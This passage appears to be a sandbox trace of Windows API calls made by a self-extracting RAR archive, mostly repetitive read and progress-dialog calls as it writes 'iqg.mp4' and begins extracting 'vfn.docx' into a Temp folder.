[0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.995] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.995] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.995] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.995] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.996] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.996] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.996] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.996] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.996] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.996] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.996] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.996] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.996] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.996] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.996] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.996] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.996] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.996] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.996] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.996] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.996] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.996] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.996] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.996] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.996] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.996] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.996] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.996] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.996] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.996] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.996] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.996] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.996] GetTickCount () returned 0x1f9e8 [0067.997] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.997] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.997] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.997] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.997] GetTickCount () returned 0x1f9e8 [0067.997] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.997] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.997] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.997] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.997] GetTickCount () returned 0x1f9e8 [0067.997] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.997] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.997] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.997] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.997] GetTickCount () returned 0x1f9e8 [0067.997] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.997] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.997] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.997] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.997] GetTickCount () returned 0x1f9e8 [0067.997] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.997] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.997] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.997] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.997] GetTickCount () returned 0x1f9e8 [0067.997] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.997] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.998] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.998] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.998] GetTickCount () returned 0x1f9e8 [0067.998] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.998] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.998] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.998] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.998] GetTickCount () returned 0x1f9e8 [0067.998] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.998] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.998] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.998] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.998] GetTickCount () returned 0x1f9e8 [0067.998] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.998] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.998] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.998] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.998] GetTickCount () returned 0x1f9e8 [0067.998] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.998] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x212, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x212, lpOverlapped=0x0) returned 1 [0067.999] GetTickCount () returned 0x1f9e8 [0067.999] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.999] SetFilePointer (in: hFile=0x1c, lDistanceToMove=856916, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd1354 [0067.999] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0067.999] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0067.999] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0067.999] CloseHandle (hObject=0x138) returned 1 [0067.999] SetFileAttributesA (lpFileName="iqg.mp4", dwFileAttributes=0x20) returned 1 [0068.000] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd1354 [0068.000] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.000] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x26, lpOverlapped=0x0) returned 1 [0068.000] OemToCharA (in: pSrc="vfn.docx", pDst=0x179cc0 | out: pDst="vfn.docx") returned 1 [0068.000] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="vfn.docx", cchCount2=1) returned 1 [0068.000] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="vfn.docx", cchCount2=6) returned 1 [0068.000] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="vfn.docx", cchCount2=-1) returned 1 [0068.000] SetFilePointer (in: hFile=0x1c, lDistanceToMove=856961, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd1381 [0068.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="vfn.docx") returned 9 [0068.000] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x418eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.000] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting vfn.docx") returned 19 [0068.000] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting vfn.docx") returned 1 [0068.000] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.000] OemToCharBuffA (in: lpszSrc="v", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="v") returned 1 [0068.000] CharToOemBuffA (in: lpszSrc="V", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="V") returned 1 [0068.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="vfn.docx") returned 9 [0068.000] FindFirstFileW (in: lpFileName="vfn.docx", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.000] GetLastError () returned 0x2 [0068.000] GetFileAttributesA (lpFileName="vfn.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\vfn.docx")) returned 0xffffffff [0068.000] CreateFileA (lpFileName="vfn.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\vfn.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.001] GetFileType (hFile=0x138) returned 0x1 [0068.001] SetFilePointer (in: hFile=0x138, lDistanceToMove=623, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x26f [0068.001] SetEndOfFile (hFile=0x138) returned 1 [0068.001] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.001] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1f3, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1f3, lpOverlapped=0x0) returned 1 [0068.001] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.001] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.001] GetTickCount () returned 0x1f9e8 [0068.001] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.001] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.001] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.001] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.001] GetTickCount () returned 0x1f9e8 [0068.001] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.001] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.001] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.001] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.001] GetTickCount () returned 0x1f9e8 [0068.001] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.001] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.001] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.001] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.001] GetTickCount () returned 0x1f9e8 [0068.001] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.001] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.001] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.001] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.001] GetTickCount () returned 0x1f9e8 [0068.001] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.001] ReadFile (in: hFile=0x1c, lpBuffer=0x27047b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27047b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.001] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.001] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.001] GetTickCount () returned 